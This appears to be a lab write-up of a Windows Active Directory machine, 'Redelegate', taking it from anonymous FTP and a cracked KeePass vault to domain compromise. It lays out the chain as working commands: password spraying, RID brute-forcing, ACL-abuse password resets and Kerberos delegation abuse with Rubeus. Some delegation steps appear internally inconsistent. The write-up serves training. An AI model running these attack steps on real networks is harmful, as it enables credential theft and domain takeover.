Machine - Redelegate
Writeup Author: bobbuilder
Overview
Category: Machine
Difficulty: Hard
Domain: Redelegate.vl
Machine: Windows
Objective: The initial compromise path starts with anonymous FTP access revealing sensitive files, including a KeePass database. Weak password policies allowed offline cracking of the KeePass vault. Accessing stored credentials led to a low-privileged MSSQL account. This account was used to enumerate domain users and find valid credentials for Marie.Curie
. From there, misconfigured ACLs and delegation rights enabled lateral movement and a full domain compromise via Resource-Based Constrained Delegation (RBCD).
Enumeration
We start with an Nmap scan to identify open ports and services on the target.
nmap -sC -sV -p- <redelegate_ip>
We find:
- Anonymous FTP (21) with readable files
- Microsoft IIS (80), SQL Server (1433, 49932)
- Kerberos (88), LDAP (389), SMB (445), WinRM (5985), RDP (3389)
This suggests an AD environment with both file access and potential lateral movement options.
User Access
Step 1: Accessing Files via Anonymous FTP
We find anonymous FTP is enabled, so we connect and list the available files:
ftp anonymous@redelegate.vl
ftp> binary
ftp> get Shared.kdbx
We download a KeePass vault (Shared.kdbx
), which may contain credentials.
Step 2: Cracking the KeePass Vault
We extract the hash from the KeePass database:
keepass2john Shared.kdbx > hash.txt
An audit file retrieved from the same FTP share hints that users rely on weak passwords in the format SeasonYear!
.
└─$ cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
...
We generate a wordlist accordingly:
seasons=("Spring" "Summer" "Fall" "Winter")
years=($(seq 2023 2025))
for season in "${seasons[@]}"; do
for year in "${years[@]}"; do
echo "${season}${year}!"
done
done > season_passwords.txt
We crack the KeePass hash using John and this custom wordlist:
john --wordlist=season_passwords.txt hash.txt
We recover the master password.
Step 3: Extracting Credentials from KeePass
We open the KeePass file with kpcli
:
kpcli
open Shared.kdbx
ls Shared/*
We extract several credentials, notably:
- SQLGuest /
<redacted>
- FS01 Admin /
<redacted>
- FTPUser /
<redacted>
We decide to try the SQL credentials next.
Step 4: MSSQL Access with KeePass Credentials
We confirm MSSQL login is possible using the extracted SQLGuest credentials:
impacket-mssqlclient DC/SQLGuest:<redacted>@redelegate.vl -target-ip <redelegate_ip>
The SQL account has limited access, but it's part of the domain. We want to enumerate users to find more useful accounts.
Step 5: Domain User Enumeration
We use the valid credentials to brute-force RID values and enumerate domain users.
(Note) I wrote a small Python script to automate this: MSSQL-RID-based-SID-Brute-Forcer
python3 brute_sid.py DC/SQLGuest:'<redacted>'@redelegate.vl -target-ip <redelegate_ip> --output domain_users.txt
We find numerous domain users, including Marie.Curie
, Helen.Frost
, and Ryan.Cooper
.
Step 6: Validating Credentials with Wordlist
Since the audit also mentioned weak passwords, we try our season_passwords.txt
against the enumerated usernames using LDAP auth:
nxc ldap redelegate.vl -u domain_users.txt -p season_passwords.txt
We find that Marie.Curie
with the password <redacted>
.
Step 7: Exploring Permissions of Marie.Curie
We check for SPNs, AS-REP roastability, and group memberships:
impacket-GetUserSPNs -target-domain redelegate.vl -usersfile users.txt redelegate.vl/Marie.Curie:'<redacted>' -no-pass
Step 8: Resetting Helen.Frost
's Password
We find that
Marie.Curie
is part of the Helpdesk
group and has permission to reset the password for Helen.Frost
.
We want to impersonate a more privileged user. Helen.Frost
is in the IT
group and has GenericAll
rights over the computer object FS01
.
We use BloodyAD to reset her password:
python3 bloodyAD.py -d redelegate.vl -u Marie.Curie -p '<redacted>' --host <redelegate_ip> set password "HELEN.FROST" "Password1"
Step 9: Accessing the Machine via WinRM
Now that we control Helen.Frost
, we log in with WinRM:
evil-winrm -i <redelegate_ip> -u 'HELEN.FROST' -p 'Password1'
Inside the session, we confirm she has the SeEnableDelegationPrivilege
, allowing us to configure delegation settings.
Root Access
Step 1: Set FS01$ Password
To set up RBCD, we need control over FS01's machine account. We reset its password using BloodyAD:
python3 bloodyAD.py -d redelegate.vl -u HELEN.FROST -p 'Password1' --host <fs01_ip> set password "FS01$" 'Password1'
Step 2: Add an SPN to FS01$
We assign a service principal name that matches the target DC:
setspn -S HOST/dc.redelegate.vl FS01$
Step 3: Configure Resource-Based Constrained Delegation
We allow Helen.Frost
to be delegated by FS01$
:
Set-ADComputer FS01 -PrincipalsAllowedToDelegateToAccount HELEN.FROST
We confirm the delegation settings:
Get-ADComputer FS01 -Properties *
Step 4: Select a Target for Impersonation
We want to impersonate a high-value user. We list accounts with AccountNotDelegated = False
:
Get-ADUser -Filter * -Properties 'AccountNotDelegated' | Where-Object { $_.AccountNotDelegated -eq $false }
Step 5: Generate TGS Using S4U2Proxy
We use Rubeus to hash FS01$ credentials:
.\Rubeus.exe hash /password:Password1 /user:FS01$ /domain:redelegate.vl
Then, request a service ticket for Ryan.Cooper
:
Rubeus.exe s4u /user:FS01$ /rc4:<rc4_hash> /impersonateuser:Ryan.Cooper /msdsspn:cifs/dc.redelegate.vl /domain:redelegate.vl /dc:<fs01_ip> /ptt /nowrap /outfile:output.kirbi
Step 6: Use Ticket to Access the DC
We convert the ticket and set our Kerberos cache:
echo "<base64>" | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/home/kali/ticket.ccache
With the valid ticket, we access the DC:
impacket-wmiexec -k -no-pass redelegate.vl/Ryan.Cooper@dc.redelegate.vl